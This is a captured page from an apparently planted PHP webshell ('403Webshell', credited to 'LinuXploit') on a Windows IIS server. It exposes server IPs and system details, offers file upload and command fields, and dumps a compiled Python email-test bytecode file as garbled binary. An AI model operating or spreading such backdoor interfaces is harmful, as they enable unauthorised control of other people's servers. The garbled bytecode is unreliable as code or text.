403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python313/Lib/test/test_email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python313/Lib/test/test_email/__pycache__/test_inversion.cpython-313.pyc
�

��iC	���SrSSKrSSKrSSKJrJr SSKJr SSKJ	r	 SSK
JrJr Sr
\"SS	\55r\S
:Xa\R "5 gg)z�Test the parser and generator are inverses.

Note that this is only strictly true if we are parsing RFC valid messages and
producing RFC valid messages.
�N)�policy�message_from_bytes)�EmailMessage)�BytesGenerator)�
TestEmailBase�parameterizec�2�UR5nUSR5(d[S5e[US5[USR	55-
nSRUVs/sHn[U5U:�aX2SOSPM sn5$s snf)NrzFirst line must contain texts
�)�
splitlines�strip�
ValueError�len�lstrip�join)�bstr�lines�stripamt�xs    �3C:\Python313\\Lib\test\test_email\test_inversion.py�dedentrs����O�O��E���8�>�>����7�8�8��5��8�}�s�5��8�?�?�#4�5�5�H��<�<��	����Q���)��9��s�	2��	����	s�.Bc��\rSrSr\R
r\rSr\	"S54\	"S54S.r
\"SS9\"SS	S
9\"SSS
9S.rS
r
Srg)�
TestInversion�c���[U[RS9n[R"5n[U5nUR
U5 URUR5U5 g)N�r)	rr�SMTP�io�BytesIOr�flatten�assertEqual�getvalue)�self�msg�m�b�gs     r�msg_as_input�TestInversion.msg_as_input sH���s�6�;�;�7���J�J�L���1���	�	�	�!���������s�+r
sl            From: abc@xyz.com
            X-Status: 
            Subject: test

            foo
            s�            Date: Tue, 06 Jun 2017 27:39:33 +0600
            From: abc@xyz.com
            Subject: timezones

            How do they work even?
            )�header_with_one_space_body�header_with_invalid_datea,This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
This is a test
)�payloada%xy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy a
xy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy a
xy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy a
xy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy a
xy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy axy a
�base64)r+�ctezquoted-printable)�
plain_text�base64_text�qp_textc��UR5nSUS'SUS'SUS'UR"U40UD6 [U5n[X@RS9nUR[U5U5 URUR
5U5 g)N�foo�From�bar�Tozpayload round trip test�Subjectr)�
_make_message�set_content�bytesrrr �get_content)r"r+�kwr#r%�msg2s      r�payload_as_body�TestInversion.payload_as_bodyAs���� � �"����F����D�	�2��I������&�2�&��#�J��!�!�K�K�8������t��a�(�����)�)�+�W�5r
�N)�__name__�
__module__�__qualname__�__firstlineno__r�defaultr�messager'r�
msg_params�dict�payload_paramsr=�__static_attributes__r?r
rrrst���^�^�F��G�,�(.�/�(�'�&,�-�&�%��J�(�#8�9��%7�h�G��!3�:L�M�
�N�	6r
r�__main__)�__doc__r�unittest�emailrr�
email.messager�email.generatorr�test.test_emailrrrrr@�mainr?r
r�<module>rRsW���
��,�&�*�7���/6�M�/6��/6�d�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit